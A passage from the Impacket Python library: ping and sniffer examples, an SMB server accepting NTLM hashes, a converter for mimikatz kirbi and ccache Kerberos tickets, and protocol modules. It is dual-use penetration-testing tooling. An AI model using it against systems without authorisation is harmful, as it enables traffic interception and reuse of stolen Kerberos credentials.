is up 17 | # but refuses to reply the probes. 18 | # Also note that the user must have special access to be able to open a raw 19 | # socket, which this program requires. 20 | # 21 | # Authors: 22 | # Gerardo Richarte (@gerasdf) 23 | # Javier Kohen 24 | # 25 | # Reference for: 26 | # ImpactPacket: IP, ICMP, DATA 27 | # ImpactDecoder 28 | # 29 | 30 | import select 31 | import socket 32 | import time 33 | import sys 34 | 35 | from impacket import ImpactDecoder, ImpactPacket 36 | 37 | if len(sys.argv) < 3: 38 | print("Use: %s " % sys.argv[0]) 39 | sys.exit(1) 40 | 41 | src = sys.argv[1] 42 | dst = sys.argv[2] 43 | 44 | # Create a new IP packet and set its source and destination addresses. 45 | 46 | ip = ImpactPacket.IP() 47 | ip.set_ip_src(src) 48 | ip.set_ip_dst(dst) 49 | 50 | # Create a new ICMP packet of type ECHO. 51 | 52 | icmp = ImpactPacket.ICMP() 53 | icmp.set_icmp_type(icmp.ICMP_ECHO) 54 | 55 | # Include a 156-character long payload inside the ICMP packet. 56 | icmp.contains(ImpactPacket.Data(b"A"*156)) 57 | 58 | # Have the IP packet contain the ICMP packet (along with its payload). 59 | ip.contains(icmp) 60 | 61 | # Open a raw socket. Special permissions are usually required. 62 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) 63 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 64 | 65 | seq_id = 0 66 | while 1: 67 | # Give the ICMP packet the next ID in the sequence. 68 | seq_id += 1 69 | icmp.set_icmp_id(seq_id) 70 | 71 | # Calculate its checksum. 72 | icmp.set_icmp_cksum(0) 73 | icmp.auto_checksum = 1 74 | 75 | # Send it to the target host. 76 | s.sendto(ip.get_packet(), (dst, 0)) 77 | 78 | # Wait for incoming replies. 79 | if s in select.select([s], [], [], 1)[0]: 80 | reply = s.recvfrom(2000)[0] 81 | 82 | # Use ImpactDecoder to reconstruct the packet hierarchy. 83 | rip = ImpactDecoder.IPDecoder().decode(reply) 84 | # Extract the ICMP packet from its container (the IP packet). 85 | ricmp = rip.child() 86 | 87 | # If the packet matches, report it to the user. 88 | if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): 89 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) 90 | 91 | time.sleep(1) 92 | -------------------------------------------------------------------------------- /examples/ping6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple ICMP6 ping. 12 | # 13 | # This implementation of ping uses the ICMP echo and echo-reply packets 14 | # to check the status of a host. If the remote host is up, it should reply 15 | # to the echo probe with an echo-reply packet. 16 | # Note that this isn't a definite test, as in the case the remote host is up 17 | # but refuses to reply the probes. 18 | # Also note that the user must have special access to be able to open a raw 19 | # socket, which this program requires. 20 | # 21 | # Authors: 22 | # Alberto Solino (@agsolino) 23 | # 24 | # Reference for: 25 | # ImpactPacket: ICMP6 26 | # ImpactDecoder 27 | # 28 | 29 | import select 30 | import socket 31 | import time 32 | import sys 33 | 34 | from impacket import ImpactDecoder, IP6, ICMP6, version 35 | 36 | print(version.BANNER) 37 | 38 | if len(sys.argv) < 3: 39 | print("Use: %s " % sys.argv[0]) 40 | sys.exit(1) 41 | 42 | src = sys.argv[1] 43 | dst = sys.argv[2] 44 | 45 | # Create a new IP packet and set its source and destination addresses. 46 | 47 | ip = IP6.IP6() 48 | ip.set_ip_src(src) 49 | ip.set_ip_dst(dst) 50 | ip.set_traffic_class(0) 51 | ip.set_flow_label(0) 52 | ip.set_hop_limit(64) 53 | 54 | # Open a raw socket. Special permissions are usually required. 55 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) 56 | 57 | payload = b"A"*156 58 | 59 | print("PING %s %d data bytes" % (dst, len(payload))) 60 | seq_id = 0 61 | while 1: 62 | # Give the ICMP packet the next ID in the sequence. 63 | seq_id += 1 64 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) 65 | 66 | # Have the IP packet contain the ICMP packet (along with its payload). 67 | ip.contains(icmp) 68 | ip.set_next_header(ip.child().get_ip_protocol_number()) 69 | ip.set_payload_length(ip.child().get_size()) 70 | icmp.calculate_checksum() 71 | 72 | # Send it to the target host. 73 | s.sendto(icmp.get_packet(), (dst, 0)) 74 | 75 | # Wait for incoming replies. 76 | if s in select.select([s], [], [], 1)[0]: 77 | reply = s.recvfrom(2000)[0] 78 | 79 | # Use ImpactDecoder to reconstruct the packet hierarchy. 80 | rip = ImpactDecoder.ICMP6Decoder().decode(reply) 81 | 82 | # If the packet matches, report it to the user. 83 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): 84 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number())) 85 | 86 | time.sleep(1) 87 | -------------------------------------------------------------------------------- /examples/smbserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple SMB Server example. 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | 17 | import sys 18 | import argparse 19 | import logging 20 | 21 | from impacket.examples import logger 22 | from impacket import smbserver, version 23 | from impacket.ntlm import compute_lmhash, compute_nthash 24 | 25 | if __name__ == '__main__': 26 | 27 | # Init the example's logger theme 28 | print(version.BANNER) 29 | 30 | parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " 31 | "share specified as an argument. You need to be root in order to bind to port 445. " 32 | "For optional authentication, it is possible to specify username and password or the NTLM hash. " 33 | "Example: smbserver.py -comment 'My share' TMP /tmp") 34 | 35 | parser.add_argument('shareName', action='store', help='name of the share to add') 36 | parser.add_argument('sharePath', action='store', help='path of the share to add') 37 | parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') 38 | parser.add_argument('-username', action="store", help='Username to authenticate clients') 39 | parser.add_argument('-password', action="store", help='Password for the Username') 40 | parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') 41 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 42 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 43 | parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') 44 | parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') 45 | parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') 46 | 47 | if len(sys.argv)==1: 48 | parser.print_help() 49 | sys.exit(1) 50 | 51 | try: 52 | options = parser.parse_args() 53 | except Exception as e: 54 | logging.critical(str(e)) 55 | sys.exit(1) 56 | 57 | logger.init(options.ts) 58 | 59 | if options.debug is True: 60 | logging.getLogger().setLevel(logging.DEBUG) 61 | # Print the Library's installation path 62 | logging.debug(version.getInstallationPath()) 63 | else: 64 | logging.getLogger().setLevel(logging.INFO) 65 | 66 | if options.comment is None: 67 | comment = '' 68 | else: 69 | comment = options.comment 70 | 71 | server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) 72 | 73 | server.addShare(options.shareName.upper(), options.sharePath, comment) 74 | server.setSMB2Support(options.smb2support) 75 | 76 | # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous 77 | # connections will be allowed 78 | if options.username is not None: 79 | # we either need a password or hashes, if not, ask 80 | if options.password is None and options.hashes is None: 81 | from getpass import getpass 82 | password = getpass("Password:") 83 | # Let's convert to hashes 84 | lmhash = compute_lmhash(password) 85 | nthash = compute_nthash(password) 86 | elif options.password is not None: 87 | lmhash = compute_lmhash(options.password) 88 | nthash = compute_nthash(options.password) 89 | else: 90 | lmhash, nthash = options.hashes.split(':') 91 | 92 | server.addCredential(options.username, 0, lmhash, nthash) 93 | 94 | # Here you can set a custom SMB challenge in hex format 95 | # If empty defaults to '4141414141414141' 96 | # (remember: must be 16 hex bytes long) 97 | # e.g. server.setSMBChallenge('12345678abcdef00') 98 | server.setSMBChallenge('') 99 | 100 | # If you don't want log to stdout, comment the following line 101 | # If you want log dumped to a file, enter the filename 102 | server.setLogFile('') 103 | 104 | # Rock and roll 105 | server.start() 106 | -------------------------------------------------------------------------------- /examples/sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple packet sniffer. 12 | # 13 | # This packet sniffer uses the pcap library to listen for packets in 14 | # transit over the specified interface. The returned packages can be 15 | # filtered according to a BPF filter (see tcpdump(3) for further 16 | # information on BPF filters). 17 | # 18 | # Note that the user might need special permissions to be able to use pcap. 19 | # 20 | # Authors: 21 | # Maximiliano Caceres 22 | # Javier Kohen 23 | # 24 | # Reference for: 25 | # pcapy: findalldevs, open_live 26 | # ImpactDecoder 27 | # 28 | 29 | import sys 30 | from threading import Thread 31 | import pcapy 32 | from pcapy import findalldevs, open_live 33 | 34 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 35 | 36 | 37 | class DecoderThread(Thread): 38 | def __init__(self, pcapObj): 39 | # Query the type of the link and instantiate a decoder accordingly. 40 | datalink = pcapObj.datalink() 41 | if pcapy.DLT_EN10MB == datalink: 42 | self.decoder = EthDecoder() 43 | elif pcapy.DLT_LINUX_SLL == datalink: 44 | self.decoder = LinuxSLLDecoder() 45 | else: 46 | raise Exception("Datalink type not supported: " % datalink) 47 | 48 | self.pcap = pcapObj 49 | Thread.__init__(self) 50 | 51 | def run(self): 52 | # Sniff ad infinitum. 53 | # PacketHandler shall be invoked by pcap for every packet. 54 | self.pcap.loop(0, self.packetHandler) 55 | 56 | def packetHandler(self, hdr, data): 57 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 58 | # of ImpactPacket instances. 59 | # Display the packet in human-readable form. 60 | print(self.decoder.decode(data)) 61 | 62 | 63 | def getInterface(): 64 | # Grab a list of interfaces that pcap is able to listen on. 65 | # The current user will be able to listen from all returned interfaces, 66 | # using open_live to open them. 67 | ifs = findalldevs() 68 | 69 | # No interfaces available, abort. 70 | if 0 == len(ifs): 71 | print("You don't have enough permissions to open any interface on this system.") 72 | sys.exit(1) 73 | 74 | # Only one interface available, use it. 75 | elif 1 == len(ifs): 76 | print('Only one interface present, defaulting to it.') 77 | return ifs[0] 78 | 79 | # Ask the user to choose an interface from the list. 80 | count = 0 81 | for iface in ifs: 82 | print('%i - %s' % (count, iface)) 83 | count += 1 84 | idx = int(input('Please select an interface: ')) 85 | 86 | return ifs[idx] 87 | 88 | def main(filter): 89 | dev = getInterface() 90 | 91 | # Open interface for catpuring. 92 | p = open_live(dev, 1500, 0, 100) 93 | 94 | # Set the BPF filter. See tcpdump(3). 95 | p.setfilter(filter) 96 | 97 | print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())) 98 | 99 | # Start sniffing thread and finish main thread. 100 | DecoderThread(p).start() 101 | 102 | # Process command-line arguments. Take everything as a BPF filter to pass 103 | # onto pcap. Default to the empty filter (match all). 104 | filter = '' 105 | if len(sys.argv) > 1: 106 | filter = ' '.join(sys.argv[1:]) 107 | 108 | main(filter) 109 | -------------------------------------------------------------------------------- /examples/sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple packet sniffer. 12 | # 13 | # This packet sniffer uses a raw socket to listen for packets 14 | # in transit corresponding to the specified protocols. 15 | # 16 | # Note that the user might need special permissions to be able to use 17 | # raw sockets. 18 | # 19 | # Authors: 20 | # Gerardo Richarte (@gerasdf) 21 | # Javier Kohen 22 | # 23 | # Reference for: 24 | # ImpactDecoder 25 | # 26 | 27 | from select import select 28 | import socket 29 | import sys 30 | 31 | from impacket import ImpactDecoder 32 | 33 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') 34 | 35 | if len(sys.argv) == 1: 36 | toListen = DEFAULT_PROTOCOLS 37 | print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]) 38 | else: 39 | toListen = sys.argv[1:] 40 | 41 | # Open one socket for each specified protocol. 42 | # A special option is set on the socket so that IP headers are included with 43 | # the returned data. 44 | sockets = [] 45 | for protocol in toListen: 46 | try: 47 | protocol_num = socket.getprotobyname(protocol) 48 | except socket.error: 49 | print("Ignoring unknown protocol:", protocol) 50 | toListen.remove(protocol) 51 | continue 52 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) 53 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 54 | sockets.append(s) 55 | 56 | if 0 == len(toListen): 57 | print("There are no protocols available.") 58 | sys.exit(0) 59 | 60 | print("Listening on protocols:", toListen) 61 | 62 | # Instantiate an IP packets decoder. 63 | # As all the packets include their IP header, that decoder only is enough. 64 | decoder = ImpactDecoder.IPDecoder() 65 | 66 | while len(sockets) > 0: 67 | # Wait for an incoming packet on any socket. 68 | ready = select(sockets, [], [])[0] 69 | for s in ready: 70 | packet = s.recvfrom(4096)[0] 71 | if 0 == len(packet): 72 | # Socket remotely closed. Discard it. 73 | sockets.remove(s) 74 | s.close() 75 | else: 76 | # Packet received. Decode and display it. 77 | packet = decoder.decode(packet) 78 | print(packet) 79 | -------------------------------------------------------------------------------- /examples/ticketConverter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, 12 | # and vice versa. 13 | # 14 | # Examples: 15 | # ./ticket_converter.py admin.ccache admin.kirbi 16 | # ./ticket_converter.py admin.kirbi admin.ccache 17 | # 18 | # Author: 19 | # Zer1t0 (https://github.com/Zer1t0) 20 | # 21 | # References: 22 | # - https://tools.ietf.org/html/rfc4120 23 | # - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html 24 | # - https://github.com/gentilkiwi/kekeo 25 | # - https://github.com/rvazarkar/KrbCredExport 26 | # 27 | 28 | import argparse 29 | import struct 30 | 31 | from impacket import version 32 | from impacket.krb5.ccache import CCache 33 | 34 | 35 | def parse_args(): 36 | parser = argparse.ArgumentParser() 37 | parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format") 38 | parser.add_argument('output_file', help="Output file") 39 | return parser.parse_args() 40 | 41 | 42 | def main(): 43 | print(version.BANNER) 44 | 45 | args = parse_args() 46 | 47 | if is_kirbi_file(args.input_file): 48 | print('[*] converting kirbi to ccache...') 49 | convert_kirbi_to_ccache(args.input_file, args.output_file) 50 | print('[+] done') 51 | elif is_ccache_file(args.input_file): 52 | print('[*] converting ccache to kirbi...') 53 | convert_ccache_to_kirbi(args.input_file, args.output_file) 54 | print('[+] done') 55 | else: 56 | print('[X] unknown file format') 57 | 58 | 59 | def is_kirbi_file(filename): 60 | with open(filename, 'rb') as fi: 61 | fileid = struct.unpack(">B", fi.read(1))[0] 62 | return fileid == 0x76 63 | 64 | 65 | def is_ccache_file(filename): 66 | with open(filename, 'rb') as fi: 67 | fileid = struct.unpack(">B", fi.read(1))[0] 68 | return fileid == 0x5 69 | 70 | 71 | def convert_kirbi_to_ccache(input_filename, output_filename): 72 | ccache = CCache.loadKirbiFile(input_filename) 73 | ccache.saveFile(output_filename) 74 | 75 | 76 | def convert_ccache_to_kirbi(input_filename, output_filename): 77 | ccache = CCache.loadFile(input_filename) 78 | ccache.saveKirbiFile(output_filename) 79 | 80 | 81 | if __name__ == '__main__': 82 | main() 83 | -------------------------------------------------------------------------------- /impacket/Dot11Crypto.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IEEE 802.11 Network packet codecs. 11 | # 12 | # Author: 13 | # Gustavo Moreira 14 | # 15 | 16 | class RC4(): 17 | def __init__(self, key): 18 | bkey = bytearray(key) 19 | j = 0 20 | self.state = bytearray(range(256)) 21 | for i in range(256): 22 | j = (j + self.state[i] + bkey[i % len(key)]) & 0xff 23 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 24 | 25 | def encrypt(self, data): 26 | i = j = 0 27 | out=bytearray() 28 | for char in bytearray(data): 29 | i = (i+1) & 0xff 30 | j = (j+self.state[i]) & 0xff 31 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 32 | out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff]) 33 | 34 | return bytes(out) 35 | 36 | def decrypt(self, data): 37 | # It's symmetric 38 | return self.encrypt(data) 39 | -------------------------------------------------------------------------------- /impacket/Dot11KeyManager.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IEEE 802.11 Network packet codecs. 11 | # 12 | # Author: 13 | # Gustavo Moreira 14 | 15 | from array import array 16 | class KeyManager: 17 | def __init__(self): 18 | self.keys = {} 19 | 20 | def __get_bssid_hasheable_type(self, bssid): 21 | # List is an unhashable type 22 | if not isinstance(bssid, (list,tuple,array)): 23 | raise Exception('BSSID datatype must be a tuple, list or array') 24 | return tuple(bssid) 25 | 26 | def add_key(self, bssid, key): 27 | bssid=self.__get_bssid_hasheable_type(bssid) 28 | if bssid not in self.keys: 29 | self.keys[bssid] = key 30 | return True 31 | else: 32 | return False 33 | 34 | def replace_key(self, bssid, key): 35 | bssid=self.__get_bssid_hasheable_type(bssid) 36 | self.keys[bssid] = key 37 | 38 | return True 39 | 40 | def get_key(self, bssid): 41 | bssid=self.__get_bssid_hasheable_type(bssid) 42 | if bssid in self.keys: 43 | return self.keys[bssid] 44 | else: 45 | return False 46 | 47 | def delete_key(self, bssid): 48 | bssid=self.__get_bssid_hasheable_type(bssid) 49 | if not isinstance(bssid, list): 50 | raise Exception('BSSID datatype must be a list') 51 | 52 | if bssid in self.keys: 53 | del self.keys[bssid] 54 | return True 55 | 56 | return False 57 | -------------------------------------------------------------------------------- /impacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2016 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | 13 | # Set default logging handler to avoid "No handler found" warnings. 14 | import logging 15 | try: # Python 2.7+ 16 | from logging import NullHandler 17 | except ImportError: 18 | class NullHandler(logging.Handler): 19 | def emit(self, record): 20 | pass 21 | 22 | # All modules inside this library MUST use this logger (impacket) 23 | # It is up to the library consumer to do whatever is wanted 24 | # with the logger output. By default it is forwarded to the 25 | # upstream logger 26 | 27 | LOG = logging.getLogger(__name__) 28 | LOG.addHandler(NullHandler()) 29 | -------------------------------------------------------------------------------- /impacket/dcerpc/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/dcom/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/dcerpc/v5/oxabref.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol 11 | # 12 | # Author: 13 | # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) 14 | # 15 | 16 | from impacket import hresult_errors, mapi_constants 17 | from impacket.dcerpc.v5.dtypes import NULL, STR, ULONG 18 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER 19 | from impacket.dcerpc.v5.rpcrt import DCERPCException 20 | from impacket.uuid import uuidtup_to_bin 21 | 22 | MSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0')) 23 | 24 | class DCERPCSessionError(DCERPCException): 25 | def __init__(self, error_string=None, error_code=None, packet=None): 26 | DCERPCException.__init__(self, error_string, error_code, packet) 27 | 28 | def __str__( self ): 29 | key = self.error_code 30 | if key in mapi_constants.ERROR_MESSAGES: 31 | error_msg_short = mapi_constants.ERROR_MESSAGES[key] 32 | return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short) 33 | elif key in hresult_errors.ERROR_MESSAGES: 34 | error_msg_short = hresult_errors.ERROR_MESSAGES[key][0] 35 | error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1] 36 | return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 37 | else: 38 | return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code 39 | 40 | ################################################################################ 41 | # STRUCTURES 42 | ################################################################################ 43 | class PUCHAR_ARRAY(NDRPOINTER): 44 | referent = ( 45 | ('Data', STR), 46 | ) 47 | 48 | class PPUCHAR_ARRAY(NDRPOINTER): 49 | referent = ( 50 | ('Data', PUCHAR_ARRAY), 51 | ) 52 | 53 | ################################################################################ 54 | # RPC CALLS 55 | ################################################################################ 56 | 57 | # 3.1.4.1 RfrGetNewDSA (opnum 0) 58 | class RfrGetNewDSA(NDRCALL): 59 | opnum = 0 60 | structure = ( 61 | ('ulFlags', ULONG), 62 | ('pUserDN', STR), 63 | ('ppszUnused', PPUCHAR_ARRAY), 64 | ('ppszServer', PPUCHAR_ARRAY), 65 | ) 66 | 67 | class RfrGetNewDSAResponse(NDRCALL): 68 | structure = ( 69 | ('ppszUnused', PPUCHAR_ARRAY), 70 | ('ppszServer', PPUCHAR_ARRAY), 71 | ) 72 | 73 | # 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1) 74 | class RfrGetFQDNFromServerDN(NDRCALL): 75 | opnum = 1 76 | structure = ( 77 | ('ulFlags', ULONG), 78 | ('cbMailboxServerDN', ULONG), 79 | ('szMailboxServerDN', STR), 80 | ) 81 | 82 | class RfrGetFQDNFromServerDNResponse(NDRCALL): 83 | structure = ( 84 | ('ppszServerFQDN', PUCHAR_ARRAY), 85 | ('ErrorCode', ULONG), 86 | ) 87 | 88 | ################################################################################ 89 | # OPNUMs and their corresponding structures 90 | ################################################################################ 91 | OPNUMS = { 92 | 0 : (RfrGetNewDSA, RfrGetNewDSAResponse), 93 | 1 : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse), 94 | } 95 | 96 | ################################################################################ 97 | # HELPER FUNCTIONS 98 | ################################################################################ 99 | def checkNullString(string): 100 | if string == NULL: 101 | return string 102 | 103 | if string[-1:] != '\x00': 104 | return string + '\x00' 105 | else: 106 | return string 107 | 108 | def hRfrGetNewDSA(dce, pUserDN=''): 109 | request = RfrGetNewDSA() 110 | request['ulFlags'] = 0 111 | request['pUserDN'] = checkNullString(pUserDN) 112 | request['ppszUnused'] = NULL 113 | request['ppszServer'] = '\x00' 114 | 115 | resp = dce.request(request) 116 | resp['ppszServer'] = resp['ppszServer'][:-1] 117 | 118 | if request['ppszUnused'] != NULL: 119 | resp['ppszUnused'] = resp['ppszUnused'][:-1] 120 | 121 | return resp 122 | 123 | def hRfrGetFQDNFromServerDN(dce, szMailboxServerDN): 124 | szMailboxServerDN = checkNullString(szMailboxServerDN) 125 | request = RfrGetFQDNFromServerDN() 126 | request['ulFlags'] = 0 127 | request['szMailboxServerDN'] = szMailboxServerDN 128 | request['cbMailboxServerDN'] = len(szMailboxServerDN) 129 | 130 | resp = dce.request(request) 131 | resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1] 132 | 133 | return resp 134 | -------------------------------------------------------------------------------- /impacket/eap.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # EAP packets 11 | # 12 | # Author: 13 | # Aureliano Calvo 14 | # 15 | 16 | from impacket.helper import ProtocolPacket, Byte, Word, Long, ThreeBytesBigEndian 17 | 18 | DOT1X_AUTHENTICATION = 0x888E 19 | 20 | class EAPExpanded(ProtocolPacket): 21 | """EAP expanded data according to RFC 3748, section 5.7""" 22 | 23 | WFA_SMI = 0x00372a 24 | SIMPLE_CONFIG = 0x00000001 25 | 26 | header_size = 7 27 | tail_size = 0 28 | 29 | vendor_id = ThreeBytesBigEndian(0) 30 | vendor_type = Long(3, ">") 31 | 32 | class EAPR(ProtocolPacket): 33 | """It represents a request or a response in EAP (codes 1 and 2)""" 34 | 35 | IDENTITY = 0x01 36 | EXPANDED = 0xfe 37 | 38 | header_size = 1 39 | tail_size = 0 40 | 41 | type = Byte(0) 42 | 43 | class EAP(ProtocolPacket): 44 | REQUEST = 0x01 45 | RESPONSE = 0x02 46 | SUCCESS = 0x03 47 | FAILURE = 0x04 48 | 49 | header_size = 4 50 | tail_size = 0 51 | 52 | code = Byte(0) 53 | identifier = Byte(1) 54 | length = Word(2, ">") 55 | 56 | class EAPOL(ProtocolPacket): 57 | EAP_PACKET = 0x00 58 | EAPOL_START = 0x01 59 | EAPOL_LOGOFF = 0x02 60 | EAPOL_KEY = 0x03 61 | EAPOL_ENCAPSULATED_ASF_ALERT = 0x04 62 | 63 | DOT1X_VERSION = 0x01 64 | 65 | header_size = 4 66 | tail_size = 0 67 | 68 | version = Byte(0) 69 | packet_type = Byte(1) 70 | body_length = Word(2, ">") 71 | -------------------------------------------------------------------------------- /impacket/examples/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | pass 10 | -------------------------------------------------------------------------------- /impacket/examples/logger.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2019 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # This logger is intended to be used by impacket instead 11 | # of printing directly. This will allow other libraries to use their 12 | # custom logging implementation. 13 | # 14 | 15 | import logging 16 | import sys 17 | 18 | # This module can be used by scripts using the Impacket library 19 | # in order to configure the root logger to output events 20 | # generated by the library with a predefined format 21 | 22 | # If the scripts want to generate log entries, they can write 23 | # directly to the root logger (logging.info, debug, etc). 24 | 25 | class ImpacketFormatter(logging.Formatter): 26 | ''' 27 | Prefixing logged messages through the custom attribute 'bullet'. 28 | ''' 29 | def __init__(self): 30 | logging.Formatter.__init__(self,'%(bullet)s 